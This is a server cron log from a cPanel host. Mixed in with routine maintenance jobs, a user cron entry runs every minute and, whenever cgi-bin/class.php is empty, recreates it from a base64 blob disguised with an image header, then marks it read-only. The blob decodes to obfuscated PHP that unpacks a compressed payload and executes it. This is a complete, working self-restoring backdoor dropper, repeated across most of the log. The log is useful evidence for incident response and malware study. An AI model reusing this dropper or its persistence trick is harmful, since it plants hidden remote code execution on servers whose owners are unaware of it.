Sep  8 10:52:01 server CROND[2392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:52:01 server CROND[2391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:53:01 server CROND[2794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:53:01 server CROND[2795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:53:01 server CROND[2796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:54:01 server CROND[3161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:54:01 server CROND[3162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:54:01 server CROND[3163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:55:01 server CROND[3560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:55:01 server CROND[3562]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 10:55:01 server CROND[3563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:55:01 server CROND[3564]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:55:01 server CROND[3566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:55:01 server CROND[3567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:55:01 server CROND[3565]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 10:56:01 server CROND[4496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:56:01 server CROND[4497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:56:01 server CROND[4498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:57:01 server CROND[4904]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 10:57:01 server CROND[4906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:57:01 server CROND[4908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:57:01 server CROND[4907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:58:01 server CROND[5296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:58:01 server CROND[5298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:58:01 server CROND[5297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:59:01 server CROND[5672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:59:01 server CROND[5673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:59:01 server CROND[5674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:00:01 server CROND[6077]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 11:00:01 server CROND[6079]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 11:00:01 server CROND[6086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:00:01 server CROND[6087]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 11:00:01 server CROND[6090]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 11:00:01 server CROND[6091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:00:01 server CROND[6088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:00:01 server CROND[6093]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:00:01 server CROND[6094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:01:01 server CROND[7031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:01:01 server CROND[7032]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 11:01:01 server CROND[7041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:01:01 server CROND[7040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:01:01 server run-parts(/etc/cron.hourly)[7032]: starting 0anacron
Sep  8 11:01:01 server run-parts(/etc/cron.hourly)[7053]: finished 0anacron
Sep  8 11:02:01 server CROND[7523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:02:01 server CROND[7525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:02:01 server CROND[7524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:03:01 server CROND[7937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:03:01 server CROND[7938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:03:01 server CROND[7939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
